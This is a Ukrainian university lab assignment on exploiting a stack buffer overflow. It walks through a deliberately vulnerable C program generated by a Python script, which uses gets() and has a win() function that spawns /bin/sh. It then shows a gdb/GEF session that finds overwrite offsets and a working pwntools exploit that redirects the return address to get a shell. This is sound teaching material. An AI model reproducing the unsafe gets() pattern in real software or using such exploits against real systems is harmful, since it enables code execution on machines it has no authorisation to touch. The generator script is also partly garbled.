

# Лабораторна робота 1

## Експлуатація пошкодження стеку

### 1.1 Мета роботи

Отримати навички пошуку та експлуатації вразливостей, що ведуть до пошкодження даних у стеку.

### 1.2 Постановка задачі

Дослідити вразливість переповнення буфера у стеку, що веде до перезапису локальних змінних функції та адреси повернення. Дослідити методи експлуатації на прикладі виклику довільної функції програми.

### 1.3 Порядок виконання роботи

Розглянемо класичний випадок переповнення буфера у стеку, що виникає при використанні функції без контролю розміру буфера над контрольованими зловмисником даними. В якості прикладу згенеруємо (gen.py) вихідний код застосунку наступного вигляду (target.c):

```
#!/usr/bin/env python3.6
import random
import string

def pad():
    for _ in range(random.randrange(0, 10)):
        r = ''.join(random.choices(string.ascii_lowercase, k=8))
        print(f'void {r}() {{ puts("Kitty says {r}!"); }}')

print('''// lab1 target.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
''')
pad()
print('void win() { execv("/bin/sh", 0); }')
pad()

len = random.randrange(5, 25)
print(f''')
```

```

int main() {{
    int pwd[10] = {{ 0 }};
    char buf[10] = {{ 0 }};

    gets(buf);
    if(pwd[0] != 1337)
        exit(1);
    else
        puts("ACCESS GRANTED!");
}},'',')

```

і відповідно

```

$ ./gen.py | tee target.c
// lab1 target.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void fmmylxbg() { puts("Kitty says fmmylxbg!"); }
void mmrusarj() { puts("Kitty says mmrusarj!"); }
void ldwjeloc() { puts("Kitty says ldwjeloc!"); }
void tcayduna() { puts("Kitty says tcayduna!"); }
void kkgoirju() { puts("Kitty says kkgoirju!"); }
void snckoimj() { puts("Kitty says snckoimj!"); }
void yrhwkzhf() { puts("Kitty says yrhwkzhf!"); }
void win() { execv("/bin/sh", 0); }
void vklybiss() { puts("Kitty says vklybiss!"); }
void uwpnehtv() { puts("Kitty says uwpnehtv!"); }
void lgbfueda() { puts("Kitty says lgbfueda!"); }
void qzhxofcj() { puts("Kitty says qzhxofcj!"); }

int main() {
    int pwd[9] = { 0 };
    char buf[9] = { 0 };

    gets(buf);
    if(pwd[0] != 1337)
        exit(1);
    else
        puts("ACCESS GRANTED!");
}

```

При компіляції target.c вимкнемо механізми протидії експлуатації, що додаються компілятором за замовчуванням:

```

$ gcc -no-pie -fno-stack-protector target.c
$ checksec a.out
[*] 'lab1/a.out'
    Arch:      amd64-64-little
    RELRO:     Partial RELRO
    Stack:     No canary found
    NX:        NX enabled
    PIE:       No PIE (0x400000)

```

де checksec – утиліта командного рядка з pwntools [8]. В даному випадку виконуваний код застосунку буде розміщуватися за статичною адресою (не position independent executable, незалежно від налаштувань ASLR у kernel.randomize\_va\_space) та не застосовується SSP (захист від перезапису адреси повернення у стеку). Ці механізми буде розглянуто окремо в наступних лабораторних роботах.

Для ідентифікації вразливості запустимо бінарний застосунок у налагоджувачі, встановимо точку зупинки на умові if та подамо на вхід рядок спеціального вигляду (з унікальним 4 байтним шаблоном символів, т.зв. послідовність де Брейна [9]):

```

$ gdb ./a.out
GEF for linux ready, type 'gef' to start, 'gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8

```

```

Reading symbols from ./a.out...
(No debugging symbols found in ./a.out)
gef> start
gef> disassemble main
Dump of assembler code for function main:
=> 0x00000000004012af <+0>:      endbr64
    0x00000000004012b3 <+4>:      push    rbp
    0x00000000004012b4 <+5>:      mov     rbp, rsp
    0x00000000004012b7 <+8>:      sub     rsp, 0x40
    0x00000000004012bb <+12>:     mov     QWORD PTR [rbp-0x30], 0x0
    0x00000000004012c3 <+20>:     mov     QWORD PTR [rbp-0x28], 0x0
    0x00000000004012cb <+28>:     mov     QWORD PTR [rbp-0x20], 0x0
    0x00000000004012d3 <+36>:     mov     QWORD PTR [rbp-0x18], 0x0
    0x00000000004012db <+44>:     mov     DWORD PTR [rbp-0x10], 0x0
    0x00000000004012e2 <+51>:     mov     QWORD PTR [rbp-0x39], 0x0
    0x00000000004012ea <+59>:     mov     BYTE PTR [rbp-0x31], 0x0
    0x00000000004012ee <+63>:     lea     rax, [rbp-0x39]
    0x00000000004012f2 <+67>:     mov     rdi, rax
    0x00000000004012f5 <+70>:     mov     eax, 0x0
    0x00000000004012fa <+75>:     call   0x401080 <gets@plt>
    0x00000000004012ff <+80>:     mov     eax, DWORD PTR [rbp-0x30]
    0x0000000000401302 <+83>:     cmp     eax, 0x539
    0x0000000000401307 <+88>:     je      0x401313 <main+100>
    0x0000000000401309 <+90>:     mov     edi, 0x1
    0x000000000040130e <+95>:     call   0x401090 <exit@plt>
    0x0000000000401313 <+100>:    lea     rdi, [rip+0xdd9]          # 0x4020f3
    0x000000000040131a <+107>:    call   0x401070 <puts@plt>
    0x000000000040131f <+112>:    mov     eax, 0x0
    0x0000000000401324 <+117>:    leave
    0x0000000000401325 <+118>:    ret
End of assembler dump.
gef> br *0x0000000000401302
Breakpoint 1 at 0x401302
gef> c
Continuing.

```

де gef – розширення gdb [10]. Згенеруємо послідовність де Брейна довжиною 100 символів за допомогою pwntools cyclic:

```

$ ipython3
Python 3.8.5 (default, Jul 28 2020, 12:59:40)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.13.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *

In [2]: cyclic(100)
Out[2]: b'aaaabaaacaaadaaaaeaaafaaagaaahaaaiaaajaakaalaamaanaaaaoaaa...'

```

Після вводу послідовності в застосунок, бачимо, що константа 1337 порівнюється зі значенням eax = 0x64616161:

```

Breakpoint 1, 0x0000000000401302 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
----- registers -----
$rax   : 0x64616161
$rbx   : 0x0000000000401330  0x2192  <__libc_csu_init+0> endbr64
$rcx   : 0x00007ffff7f81980  0x2192  0x00000000fbad2288
$rdx   : 0x0
$rsp   : 0x00007fffffddddd0  0x2192  0x61007fffffdddf6
$rbp   : 0x00007fffffde10    0x2192  "aaapaaaqaaaraaasaaataaaauaaavaaa"
$rsi   : 0x00000000004052a1  0x2192  "aaabaaacaaadaaaaeaaafaaagaaahaa [...]"
$rdi   : 0x00007ffff7f844d0  0x2192  0x0000000000000000
$rip   : 0x0000000000401302  0x2192  <main+83> cmp eax, 0x539
$r8    : 0x00007fffffddddd7  0x2192  "aaaabaaacaaadaaaaeaaafaaagaaaha [...]"
$r9    : 0x0
$r10   : 0x00007ffff7f81be0  0x2192  0x00000000004056a0
$r11   : 0x246
$r12   : 0x00000000004010b0  0x2192  <_start+0> endbr64
$r13   : 0x00007fffffddfd00  0x2192  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow
          resume virtualx86 identification]

```

```

$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
----- stack -----
0x00007fffffffddd0|+0x0000: 0x61007fffffffddf6 0x2190 $rsp
0x00007fffffffddd8|+0x0008: "aaabaaacaaadaaaaaafaaagaaahaaiaaajaakaa[...]"
0x00007fffffffddde0|+0x0010: "aaadaaaaaafaaagaaahaaiaaajaakaaalaaamaa[...]"
0x00007fffffffdde8|+0x0018: "aaafaaagaaahaaiaaajaakaaalaaamaanaaaooaa[...]"
0x00007fffffffddf0|+0x0020: "aaahaaiaaajaakaaalaaamaanaaaooapaaaqaa[...]"
0x00007fffffffddf8|+0x0028: "aaajaaakaaalaaamaanaaaooapaaaqaaaraasaa[...]"
0x00007fffffffde00|+0x0030: "aaalaaamaanaaaooapaaaqaaaraasaaataaaauaa[...]"
0x00007fffffffde08|+0x0038: "aaanaaaooapaaaqaaaraasaaataaaavaawaa[...]"
----- code:x86:64 -----
0x4012f5 <main+70> mov     eax, 0x0
0x4012fa <main+75> call   0x401080 <gets@plt>
0x4012ff <main+80> mov     eax, DWORD PTR [rbp-0x30]
-> 0x401302 <main+83> cmp     eax, 0x539
0x401307 <main+88> je      0x401313 <main+100>
0x401309 <main+90> mov     edi, 0x1
0x40130e <main+95> call   0x401090 <exit@plt>
0x401313 <main+100> lea     rdi, [rip+0xdd9] # 0x4020f3
0x40131a <main+107> call   0x401070 <puts@plt>
----- threads -----
[#0] Id 1, Name: "a.out", stopped 0x401302 in main (), reason: BREAKPOINT
----- trace -----
[#0] 0x401302 0x2192 main()

```

таким чином, 4 байти за зміщенням 9 у ввіді користувача перезаписують перший елемент масиву pwd, що забезпечує контроль над умовою if:

```

In [3]: cyclic_find(0x64616161)
Out[3]: 9

```

Змінимо значення регістру eax на необхідне, і продовжимо виконання:

```

gef> set $eax=1337
gef> c
Continuing.
ACCESS GRANTED!

Program received signal SIGSEGV, Segmentation fault.
$rip : 0x000000000401325 -> <main+118> ret
0x00007fffffffde18|+0x0000: "aaaraaasaaataaaavaawaaaxaaayaaa" <- $rsp

```

Виникає виключення при спробі повернення з функції main(), адреса у стеку "aaagaas". Таким чином адреса повернення перезаписується 8 байтами за зміщенням 65 у ввіді користувача:

```

In [4]: cyclic_find("aaar")
Out[4]: 65

```

Для отримання доступу до командної оболонки достатньо перезаписати адресу повернення з main() вказівником на win():

```

gef> print win
$1 = {<text variable, no debug info>} 0x401237 <win>
gef> disas win
Dump of assembler code for function win:
0x000000000401237 <+0>:      endbr64
0x00000000040123b <+4>:      push    rbp
0x00000000040123c <+5>:      mov     rbp, rsp
0x00000000040123f <+8>:      mov     esi, 0x0
0x000000000401244 <+13>:     lea     rdi, [rip+0xe4c] # 0x402097
0x00000000040124b <+20>:     call   0x4010a0 <execv@plt>
0x000000000401250 <+25>:     nop
0x000000000401251 <+26>:     pop     rbp
0x000000000401252 <+27>:     ret
End of assembler dump.

```

Реалізуємо експлоїт (\_pwn.py):

```

#!/usr/bin/env python3
from pwn import *

```

```

r = process("./a.out")

buf = b'A' * 9
buf += p32(1337)
buf = buf.ljust(65, b'B')
buf += p64(0x401237)

log.info("Payload")
print(hexdump(buf, width=12))

r.writeline(buf)
r.interactive()

```

У разі успіху отримуємо:

```

$ ./_pwn.py
[+] Starting local process './a.out': pid 2501328
[*] Payload
00000000  41 41 41 41 41 41 41 41 41 39 05 00  |AAAA|AAAA|A9..|
0000000c  00 42 42 42 42 42 42 42 42 42 42 42  |.BBB|BBB|BBB|
00000018  42 42 42 42 42 42 42 42 42 42 42 42  |BBBB|BBB|BBB|
*
0000003c  42 42 42 42 42 37 12 40 00 00 00 00  |BBBB|B7.0|...|
00000048  00                                     |.|
00000049
[*] Switching to interactive mode
ACCESS GRANTED!
$ cat /etc/issue
Ubuntu 20.04 LTS \n \l

$ ^D

```

## 1.4 Варіанти завдань

- Згенеруйте індивідуальний зразок для дослідження за допомогою gen.py з 1.3;
- Скопіюйте зразок для ОС Linux архітектури за варіантом:
  1. i686 (Intel x86-based);
  2. amd64 (AMD64 & Intel 64);
  3. armhf (ARM with hardware FPU);
  4. arm64 (64bit ARM).
- Проаналізуйте вразливість та розробіть експлоїт (виконання команд ОС).

## 1.5 Контрольні питання

1. Чому в 1.3 виключення виникає до завантаження послідовності де Брейна у регістр RIP?
2. Чому адреса повернення заноситься у стек не зважаючи на символ завершення рядка у вводі користувача (нульовий байт за зміщенням 11 в експлоїті)?
3. Як знайти адреси функцій main() та win() у випадку відсутності символів (strip -s a.out)?